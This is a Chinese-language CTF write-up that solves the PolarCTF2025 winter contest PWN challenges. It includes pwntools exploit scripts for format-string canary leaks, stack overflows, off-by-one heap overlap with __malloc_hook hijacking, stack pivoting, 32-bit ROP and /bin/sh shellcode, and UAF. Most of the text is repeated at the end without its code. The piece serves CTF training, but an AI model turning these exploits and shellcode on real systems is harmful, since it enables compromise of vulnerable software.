PolarCTF2025 冬季个人赛 PWN 方向全解
字数 1258 2025-12-08 12:09:19

PolarCTF2025 冬季个人赛 PWN 方向全解技术文档

概述

本文档详细分析PolarCTF2025冬季个人赛PWN方向的解题思路和技术要点,涵盖格式化字符串漏洞、堆溢出、栈溢出、UAF(Use After Free)等多种漏洞利用技术。

题目一:基础栈溢出与格式化字符串泄露

漏洞分析

  1. 格式化字符串漏洞:通过printf(buf)实现地址泄露
  2. 栈溢出漏洞:输入函数存在缓冲区溢出

利用步骤

  1. 使用%25$p泄露canary值
  2. 通过栈溢出覆盖返回地址
  3. 跳转到后门函数0x40095B

EXP代码

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

io = remote('1.95.7.68', 2108)
backdoor = 0x40095B

def cmd(choice):
    io.recvuntil(b"enter your choice:")
    io.sendline(str(choice).encode())

cmd(2)
io.recvuntil(b"think again")

# 泄露canary
pd = b'%25$p'
io.send(pd)
io.recvuntil(b"0x")
canary = int(io.recv(16), 16)

cmd(1)
# 构造ROP链
pd = b'a' * (0xa0 - 0x8)
pd += p64(canary)
pd += p64(0xdeadbeef)  # 填充
pd += p64(0x4008ED)    # 返回地址
pd += p64(backdoor)    # 后门函数

io.send(pd)
io.interactive()

题目二:堆溢出与单字节溢出

漏洞分析

  1. 回车符溢出input函数读取时存在回车符处理问题
  2. 单字节溢出compare函数中size2 - size_store == 0xA条件存在单字节溢出

关键函数

__int64 edit() {
    // 存在回车符溢出漏洞
    index = input(1u); // 关键溢出点
}

__int64 compare(int size_store, __int64 size2) {
    if ((_DWORD)size2 - size_store == 0xA) // 单字节溢出
        return (unsigned int)(size_store + 1);
}

利用技术:堆布局与House of Force

  1. 通过单字节溢出修改chunk size
  2. 利用堆重叠实现任意地址写
  3. 劫持__malloc_hook执行shellcode

EXP代码

from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
    cmd(1)
    rt("size: ")
    sl(str(size))

def edit(index, size, content):
    cmd(2)
    rt("index: ")
    sl(str(index))
    rt("size: ")
    sl(str(size))
    rt("content: ")
    s(content)

# 堆布局
add(0x98)  # chunk 0
add(0x68)  # chunk 1  
add(0xf0)  # chunk 2
add(0x20)  # chunk 3

# 触发溢出
delete(0)
pd = b'a' * 0x60 + p64(0x70 + 0xa0) + b'\x00'
edit(1, 0x68 + 0xa, pd)
delete(2)

# 泄露libc地址
add(0x98)
show(1)
rt("content: ")
lib = ru(6) - 0x3c4b78

# 劫持malloc_hook
add(0x68)
add(0xf0)
delete(1)
pd = lib + libc.sym['__malloc_hook'] - 0x23
edit(2, 0x10, p64(pd) + b'a' * 8)

# 获取shell
add(0x60)
add(0x60)
pd = b'a' * 0x13
pd += p64(lib + 0xf03a4)  # one_gadget
edit(5, 8 + 0x13, pd)

题目三:栈迁移与格式化字符串

漏洞特点

  • 输入限制:read(0, buf, 0xCu)仅允许12字节输入
  • 需要结合栈迁移技术绕过限制

利用技巧

  1. 使用格式化字符串泄露canary和PIE地址
  2. 通过栈迁移扩展ROP链空间
  3. 32位系统下的参数传递

EXP关键部分

# 泄露关键地址
pd = b'%15$p%3$p'
s(pd)
rt(b'0x')
canary = int(io.recv(8), 16)
pie = ri(8) - 0x84f

# 栈迁移构造
pd = b'a' * (0x2c - 0xc)
pd += p32(canary)
pd += p32(pie + 0x200C)  # 目标地址
pd += p32(pie + 0x200C)
pd = pd.ljust(0x2c, b'b')
pd += p32(pie + 0x2a00)  # 新栈地址
pd += p32(pie + 0x843)   # 迁移地址

题目四:32位栈溢出与ROP

技术要点

  1. 32位系统调用约定
  2. 栈迁移技术应用
  3. 多种利用方式:
    • 文件操作:open/read/write
    • 直接系统调用:execve

ROP链构造

# 方式一:文件操作
pd = b'flag'
pd += p32(lib + libc.sym['open'])
pd += p32(stack)
pd += p32(0)  # O_RDONLY
# ... 继续构造read/write链

# 方式二:系统调用
sd = asm('''
    xor ecx,ecx
    xor edx,edx
    xor ebx,ebx 
    push ebx
    push 0x68732f2f  # //sh
    push 0x6e69622f  # /bin
    mov ebx,esp
    xor eax,eax
    push 11
    pop eax
    int 0x80
''')

题目五:UAF漏洞利用

漏洞模型

  • 控制块+数据块的双重堆结构
  • 释放后未正确清空指针
  • 通过堆块复用控制程序流

利用方法

def ak1():
    # 申请控制块和数据块
    add(0x18, p32(0x0804875C) + p32(0x0804875C))  # 0
    add(0x18, p32(0x0804875C) + p32(0x0804875C))  # 1
    
    # 触发UAF
    delete(0)
    delete(1)
    
    # 重新分配控制流
    add(0x8, p32(0x0804875C) + p32(0x0804875C))  # 2
    show(0)  # 触发后门

题目六:堆漏洞综合利用

漏洞类型

  • Off-by-one溢出
  • 堆块合并操作
  • 控制块与数据块分离

关键技术

  1. 通过溢出修改chunk的size字段
  2. 触发unsorted bin合并
  3. 利用堆块重叠实现信息泄露和任意写

堆布局策略

add(0x80, b'a')  # 0
add(0x18, b'a')  # 1  
add(0x50, b'a')  # 2

# 构造溢出修改size
pd = b'a' * 0x10
pd += p64(0x20 + 0x20 + 0xa0)  # 修改size
pd += p8(0x80)
edit(1, pd)

高级利用技巧总结

1. 地址泄露技术

  • 格式化字符串泄露栈、libc、heap地址
  • 堆风水泄露libc基地址
  • 利用残留指针泄露关键信息

2. 溢出利用技术

  • 栈溢出:覆盖返回地址、canary绕过
  • 堆溢出:修改chunk元数据、构造fake chunk
  • 单字节溢出:size字段修改、边界绕过

3. 代码执行技术

  • ROP链构造:系统调用、函数调用
  • one-gadget利用:寻找合适的gadget
  • shellcode注入:内存权限修改后注入

4. 防护绕过技术

  • Canary绕过:泄露后精确覆盖
  • PIE绕过:信息泄露计算基地址
  • ASLR绕过:libc地址泄露

防御建议

  1. 输入验证:严格校验所有用户输入
  2. 内存管理:正确实现堆块分配和释放
  3. 安全编译:启用所有安全编译选项
  4. 代码审计:定期进行安全代码审计

本文档详细分析了PolarCTF2025冬季赛PWN题目的技术要点,为CTF选手和安全研究人员提供完整的学习参考。

PolarCTF2025 冬季个人赛 PWN 方向全解技术文档 概述 本文档详细分析PolarCTF2025冬季个人赛PWN方向的解题思路和技术要点,涵盖格式化字符串漏洞、堆溢出、栈溢出、UAF(Use After Free)等多种漏洞利用技术。 题目一:基础栈溢出与格式化字符串泄露 漏洞分析 格式化字符串漏洞 :通过 printf(buf) 实现地址泄露 栈溢出漏洞 :输入函数存在缓冲区溢出 利用步骤 使用 %25$p 泄露canary值 通过栈溢出覆盖返回地址 跳转到后门函数 0x40095B EXP代码 题目二:堆溢出与单字节溢出 漏洞分析 回车符溢出 : input 函数读取时存在回车符处理问题 单字节溢出 : compare 函数中 size2 - size_store == 0xA 条件存在单字节溢出 关键函数 利用技术:堆布局与House of Force 通过单字节溢出修改chunk size 利用堆重叠实现任意地址写 劫持 __malloc_hook 执行shellcode EXP代码 题目三:栈迁移与格式化字符串 漏洞特点 输入限制: read(0, buf, 0xCu) 仅允许12字节输入 需要结合栈迁移技术绕过限制 利用技巧 使用格式化字符串泄露canary和PIE地址 通过栈迁移扩展ROP链空间 32位系统下的参数传递 EXP关键部分 题目四:32位栈溢出与ROP 技术要点 32位系统调用约定 栈迁移技术应用 多种利用方式: 文件操作:open/read/write 直接系统调用:execve ROP链构造 题目五:UAF漏洞利用 漏洞模型 控制块+数据块的双重堆结构 释放后未正确清空指针 通过堆块复用控制程序流 利用方法 题目六:堆漏洞综合利用 漏洞类型 Off-by-one溢出 堆块合并操作 控制块与数据块分离 关键技术 通过溢出修改chunk的size字段 触发unsorted bin合并 利用堆块重叠实现信息泄露和任意写 堆布局策略 高级利用技巧总结 1. 地址泄露技术 格式化字符串泄露栈、libc、heap地址 堆风水泄露libc基地址 利用残留指针泄露关键信息 2. 溢出利用技术 栈溢出:覆盖返回地址、canary绕过 堆溢出:修改chunk元数据、构造fake chunk 单字节溢出:size字段修改、边界绕过 3. 代码执行技术 ROP链构造:系统调用、函数调用 one-gadget利用:寻找合适的gadget shellcode注入:内存权限修改后注入 4. 防护绕过技术 Canary绕过:泄露后精确覆盖 PIE绕过:信息泄露计算基地址 ASLR绕过:libc地址泄露 防御建议 输入验证 :严格校验所有用户输入 内存管理 :正确实现堆块分配和释放 安全编译 :启用所有安全编译选项 代码审计 :定期进行安全代码审计 本文档详细分析了PolarCTF2025冬季赛PWN题目的技术要点,为CTF选手和安全研究人员提供完整的学习参考。